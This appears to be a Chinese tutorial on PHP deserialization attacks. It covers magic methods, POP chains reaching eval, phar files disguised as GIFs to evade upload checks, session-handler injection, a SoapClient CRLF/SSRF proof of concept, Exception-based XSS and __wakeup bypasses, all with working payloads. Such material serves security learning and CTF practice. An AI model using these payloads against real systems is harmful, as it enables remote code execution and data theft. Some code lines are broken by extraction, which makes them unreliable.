序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。
serialize ( mixed $value ) : string
serialize() 返回字符串,此字符串包含了表示 value
的字节流,可以存储于任何地方。
example:
class Test {
public $name = "s1ng";
private $age = 19;
protected $sex = "male";
public function say_hello() {
echo "hello";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);
输出
O:4:"Test":3:{s:4:"name";s:4:"s1ng";s:9:"Testage";i:19;s:6:"*sex";s:4:"male";}
这里面O代表对象;4代表对象名长度;Test是对象名;3是对象里面的成员变量的数量;同时注意到类里面的方法并不会序列化。
类型 | 结构 |
---|---|
String | s:size:value; |
Integer | i:value; |
Boolean | b:value;(保存1或0) |
Null | N; |
Array | a:size:{key definition;value definition;(repeated per element)} |
Object | O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)} |
注意:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同,当我们做题的时候需要注意这一点,
%00
虽然不会显示,但是提交还是要加上去。public : 被序列化的时候属性名 不会更改
protected : 被序列化的时候属性名 会变成
%00*%00属性名
private : 被序列化的时候属性名 会变成
%00类名%00属性名
输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式
反序列化就是序列化的逆过程。
unserialize ( string $str ) : mixed
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
example:
class Test {
public $name = "s1ng";
private $age = 19;
protected $sex = "male";
public function say_hello() {
echo "hello";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);
echo "\n";
$class_unser = unserialize($class_ser);
var_dump($class_unser);
输出
O:4:"Test":3:{s:4:"name";s:4:"s1ng";s:9:"Testage";i:19;s:6:"*sex";s:4:"male";}
class Test#2 (3) {
public $name =>
string(4) "s1ng"
private $age =>
int(19)
protected $sex =>
string(4) "male"
}
反序列化漏洞里会涉及到一些魔法方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct()
和__destruct()
__construct ( mixed ...$values = "" ) : void
PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
__destruct ( ) : void
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
example:
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
echo "000\n";
$a = serialize($class);
echo "111\n";
$b = unserialize($a);
echo "222\n";
unset($class);
以上例程会先输出
__construct()!!!000
111
222
__destruct()!!!__destruct()!!!
我们要注意到,当我们对一个类对象进行序列化的时候,是不会触发__construct
方法的。同理,反序列化也不会触发__destruct()
。
__sleep()
和 __wakeup()
public __sleep ( ) : array
public __wakeup ( ) : void
serialize()
函数会检查类中是否存在一个魔术方法 __sleep()
。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup()
方法,预先准备对象需要的资源。
example:
class Test {
public $name = "s1ng";
private $age = 19;
protected $sex = "male";
public function say_hello() {
echo "hello";
}
public function __sleep() {
echo "__sleep!! ";
return array('name', 'age', 'sex');
}
public function __wakeup() {
echo "__wakeup()!! ";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);
echo "\n";
$class_unser = unserialize($class_ser);
var_dump($class_unser);
输出
__sleep!! O:4:"Test":3:{s:4:"name";s:4:"s1ng";s:9:"Testage";i:19;s:6:"*sex";s:4:"male";}
__wakeup()!!
class Test#2 (3) {
public $name =>
string(4) "s1ng"
private $age =>
int(19)
protected $sex =>
string(4) "male"
}
__toString()
public __toString ( ) : string
__toString()
方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR
级别的致命错误。
example:
class TestClass
{
public $foo;
public function __construct($foo) {
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}
$class = new TestClass('Hello');
echo $class;
以上例程会输出Hello
__toString()
触发方式比较多:
$obj
) / print($obj
) 打印时会触发strlen()
、addslashes()
时in_array()
方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用class_exists()
的参数的时候public __set ( string $name , mixed $value ) : void
public __get ( string $name ) : mixed
public __isset ( string $name ) : bool
public __unset ( string $name ) : void
在给不可访问属性赋值时,__set()
会被调用。
读取不可访问属性的值时,__get()
会被调用。
当对不可访问属性调用 isset()
或 empty()
时,__isset()
会被调用。
当对不可访问属性调用 unset()
时,__unset()
会被调用。
example:
Class User{
private $id = "666";
function __get($id){
echo"call __get"."";
}
function __set($id, $value){
echo "call __set"."";
}
function __isset($id){
echo "call __isset"."";
}
function __unset($id){
echo "call __isset"."";
}
}
$obj = new User();
$obj->id; //输出call __get
$obj->id = 1; //输出call __set
isset($obj->id); //输出call __isset
unset($obj->id)); //输出call __unset
__call()
public __call ( string $name , array $arguments ) : mixed
在对象中调用一个不可访问方法时,__call()
会被调用。
example:
class MethodTest {
public function __call($name, $arguments) {
// 注意: $name 的值区分大小写
echo "Calling object method '$name' ". implode(', ', $arguments). "\n";
}
}
$obj = new MethodTest;
$obj->runTest('in object context');
上述例程会输出Calling object method 'runTest' in object context
__invoke()
__invoke ( $... = ? ) : mixed
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用。
example:
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
上述例程会输出int(5)
反序列化漏洞的成因在于代码中的 unserialize()
接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
从上面的序列化和反序列化的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的,如果我们想利用类里面的方法呢?这时候魔法方法就派上用场了,魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
example:
class demo {
var $test;
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->action();
}
}
class L {
function action() {
echo "function action() in class L";
}
}
class Evil {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['a']);
首先我们能看到unserialize()
函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数__destruct()
,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用。
我们看到__destruct()
里面只用到了一个属性test
,再观察一下哪些地方调用了action()
函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil
这个类中发现他的 action()
函数调用了eval()
,那我们的想法就很明确了,只需要将demo
这个类中的test
属性篡改为 Evil
这个类的对象,然后为了eval
能执行命令,我们还要篡改Evil
对象的test2
属性,将其改成要执行的命令。
payload:
class demo {
var $test;
function __construct(){
$this->test = new Evil(); //这里将 L 换成 Evil
$this->test->test2 = "phpinfo();"; //初始化对象 $test2 值
}
function __destruct(){
$this->test->action();
}
}
class Evil {
var $test2;
function action(){
eval($this->test2);
}
}
$demo = new demo();
$data = serialize($demo);
echo $data;
以上脚本输出:
O:4:"demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
再在本地环境打过去,就可以完成一个简单的php反序列化漏洞了。
过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者流程:
unserialize()
函数的参数是否有我们的可控点;wakeup()
或 destruct()
魔法函数的类;POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value) {
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show {
public $source;
public $str;
public function __construct($file='index.php') {
$this->source = $file;
echo $this->source.' Welcome'."
";
}
public function __toString() {
return $this->str['str']->source;
}
public function _show() {
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup() {
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test {
public $p;
public function __construct() {
$this->p = array();
}
public function __get($key) {
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello'])) {
unserialize($_GET['hello']);
} else {
$show = new Show('pop3.php');
$show->_show();
}
寻找POP链过程:
unserialize()
,发现里面的参数可控;__wakeup()
或者__destruct()
,这里发现Show类里面有__wakeup()
;__wakeup()
里面使用了preg_match()
函数对传进去的参数进行字符匹配,这里如果我们传进去的参数是对象的时候,就能够触发__toString()
魔法方法;__toString()
方法中试图获取属性$str
中的key为str的值,如果我们传进去的$str['str']
是一个类对象中不可访问的属性时,就能够触发__get()
魔法方法;__get()
的类,发现Test类里面有这个魔法方法;__get()
方法对参数$p
作为函数名字进行调用,如果这时候的$p
是一个类对象的话,就会触发__invoke()
魔法方法;__invoke()
的类,发现Read类里面有这个魔法方法;__invoke()
方法会读取参数$var
里面的内容,并输出;class Read {
public $var = flag.php;
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r;
$s->str['str'] = $t;
$s->source = $s;
echo urlencode(serialize($s));
输出:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D
这里进行URL编码的原因是私有和保护属性会有%00
字符,直接输出会显示空格
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
phar.php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$o->data = 'hello';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
访问后,会生成一个phar.phar在当前目录下。
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数列表:
实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38
当然为了阅读方便,这里便把它整理过来
//exif
exif_thumbnail
exif_imagetype
//gd
imageloadfont
imagecreatefrom***系列函数
//hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
// file/url
get_meta_tags
get_headers
//standard
getimagesize
getimagesizefromstring
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。
php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
就用比较常用的函数file_get_contents()
函数举例:
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
file_get_contents('phar://phar.phar/test.txt');
上述例程会输出hello
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
class TestObject {
}
$phar = new Phar('img.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.''); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'ca01h';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
root@SYY:/mnt/d/phpStudy2016/WWW/tmp# file img.phar
img.phar: GIF image data, version 89a, 16188 x 26736
采用这种方法能绕过很大一部分上传检测。
:
、/
、phar
等特殊字符没有被过滤。index.html
DOCTYPE html>
<html>
<head>
<title>upload filetitle>
head>
<body>
<form action="./04-upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
form>
body>
html>
upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1)=='gif')) {
echo "upload:".$_FILES['file']['name'];
echo "type:".$_FILES['file']['type'];
echo "temp file:".$_FILES['file']['tmp_name'];
// 处理上传文件
if (file_exists('upload_file/'.$_FILES['file']['name'])) {
echo $_FILES['file']['name']."has already exited";
}
else{
move_uploaded_file($_FILES['file']['tmp_name'], "upload_file/".$_FILES['file']['name']);
echo "stored in "."upload_file/".$_FILES['file']['name'];
}
}
else{
echo "invalid file,you can only upload gif file!";
}
evil.php
class Test
{
public $data = 'echo "hello world!"';
function __construct()
{
eval($this->data);
}
}
if ($_GET['file']) {
file_exists($_GET['file']);
}
绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过。
用下面的代码生成phar文件:
class TestObject{
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");
$o = new TestObject();
$o->data = "phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
生成的phar.phar
修改后缀名phar.gif
,再上传该文件,用phar协议解析:
http://localhost/tmp/04-evil.php?file=phar://upload_file/phar.gif
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
在学习 session 反序列化之前,我们需要了解这几个参数的含义。
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
在上述的配置中,session.serialize_handler
是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
那么具体而言,在默认配置(php)情况下:
session_start()
$_SESSION['name'] = 'ca01h';
那么具体而言,在默认配置(php)情况下:
session_start()
$_SESSION['name'] = 'ca01h';
输出
root@SYY:/var/lib/php/sessions# cat sess_at9ih163p9tadfhdn8f721l7s9
name|s:4:"s1ng";
SESSION文件的内容是:name|s:4:"cs1ng"
,name是键值,s:4:"s1ng";
是serialize("s1ng")
的结果。
在php_serialize引擎下:
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 's1ng';
输出
;root@SYY:/var/lib/php/sessions# cat sess_at9ih163p9tadfhdn8f721l7s9
a:1:{s:4:"name";s:4:"s1ng";}
SESSION文件的内容是a:1:{s:4:"name";s:4:"s1ng";}
。a:1
是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
在php_binary引擎下:
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 's1ng';
输出
root@SYY:/var/lib/php/sessions# cat sess_at9ih163p9tadfhdn8f721l7s9
names:4:"s1ng";
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION
数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['hello'] = '|O:8:"stdClass":0:{}';
上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:
a:1:{s:5:"hello";s:20:"|O:8:"stdClass":0:{}";}
在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:
array(1) {
["a:1:{s:5:"hello";s:20:""]=>
object(stdClass)#1 (0) {
}
}
这是因为当使用php引擎的时候,php引擎会以|
作为作为key和value的分隔符,那么就会将a:1:{s:5:"hello";s:20:"
作为SESSION的key,将O:8:"stdClass":0:{}
作为value,然后进行反序列化,最后就会得到stdClass这个类。
实际利用的话一般分为两种:
当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()
),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。
//foo1.php
<?php
if(ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['test'])) {
$_SESSION['test'] = $_GET['test'];
}
访问http://172.31.171.100/tmp/foo1.php?test=|O:8:%22stdClass%22:0:{}
// foo2.php
<?php
var_dump($_SESSION);
php.ini配置中session_use_trans_sid = 1才能跨页面访问SESSION
当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:
// foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['test'] = $_GET['test'];
// foo2.php
<?php
session_start();
class test {
var $hi;
function __wakeup() {
echo 'hi,';
}
function __destruct() {
echo $this->hi;
}
}
访问连接:http://172.31.171.100/tmp/foo1.php?test=|O:4:"test":1:{s:2:"hi";s:4:John";}
再访问foo2.php
就会发生反序列化漏洞
当 session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。并且当文件上传完成的时候,这个session会被立即删除。
也就是说,我们通过构造一个上传文件的表单,将其中一个参数的名字设置为session.upload_progress.name
的值(这个值能在phpinfo看到),PHP检测到这种POST请求的时候就会往$_SESSION
里面填入这个参数的值,从而能够用来设置session。然后通过条件竞争来读取session文件的内容。
example:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
form>
这里的session.upload_progress.name
的值为PHP_SESSION_UPLOAD_PROGRESS
这样就把123写入了session里面。当PHP环境存在session反序列化漏洞,但是又没有直接控制session值的方法时,可以利用这个方法。
session.upload_progress进行文件包含和反序列化渗透
这篇文章说的很详细了,没必要班门弄斧
https://www.freebuf.com/vuls/202819.html
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
php中的SoapClient
类可以创建soap数据报文,与wsdl接口进行交互。
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location
和uri
选项,其中location
是要将请求发送到的SOAP服务器的URL,而uri
是SOAP服务的目标命名空间。
其中$options
数组下有个user_agent
选项,我们可以利用该选项来自定义User-Agent
。而在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。
还有一点就是SoapClient
类的__call
魔法方法,当调用这个方法时能够对内网进行访问,构成SSRF攻击。
POC:
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
Error类就是php的一个内置类用于自动自定义一个Error
,在php7的环境下可能会造成一个xss
漏洞,因为它内置有一个toString
的方法。
Exception类跟Error类原理一样,但是也适用于PHP5
example:
$a = $_GET['test'];
echo unserialize($a);
POC
$a = new Exception("");
echo urlencode(serialize($a));
得到编码后的反序列化结果:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22%2Fvar%2Fwww%2Fhtml%2Ftmp%2Fadmin.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
效果:
PHP在反序列化时,底层代码是以;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少。
字符增多就是后端对我们输入的序列化后的字符进行替换称为长度更长的字符
example:
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = $_GET['username'];
$age = '24';
$user = array($username, $age);
var_dump(serialize($user));
echo ""
;
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
这里通过filter()
函数对我们输入的内容进行检查,将字符p
替换成ww
,再进行反序列化。
正常情况下,我们输入的内容没有字符p
的时候并不会出现问题:
当输入的内容存在p
字符的时候,由于过滤之后的字符数变多了,并不复合序列化的规则,所以进行反序列化的时候会报错。
如果我们想吧年龄修改为其他,比如18,那么可以通过构造username的值来使得age的值改变
";i:1;s:2:"18";}
,前面的"
是为了闭合前一个元素username的值,最后的}
是为了闭合这一个数组,抛弃后面的内容。filter()
函数之后变多16个字符,使得我们构造的这一部分内容能够逃出username的范围,称为独立的一个元素。由于这里一个字符p
会变成2个w
字符,因此每一个p
就会多出一个字符,所以这里需要16个字符p
。payload:
?username=pppppppppppppppp";i:1;s:2:"18";}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zXwkfSFB-1649421967819)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/20210518203627.png)]
字符减少就是后端对我们输入的序列化后的字符进行替换称为长度更短的字符
example:
function filter($string){
$filter = '/xx/i';
return preg_replace($filter,'s',$string);
}
class
$username = $_GET['username'];
$age = $_GET['age'];
$user = array($username, $age);
var_dump(serialize($user));
echo ""
;
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
还是上面的例子,其中这里的$age
可控,但是是将输入的字符串中的xx
替换为s
,如果我们这里想插入一个新的参数,比如想在第二个参数插入hello
,那么我能可以尝试让前一个参数进行字符减少,把后面的参数的key作为前一个参数的值吞掉,把后一个参数的value作为新的键值对变成新的变量
我们前面说了如果变量前是protected
,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
对于下面这样一个自定义类
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}')
;输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}')
;输出结果为abc
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
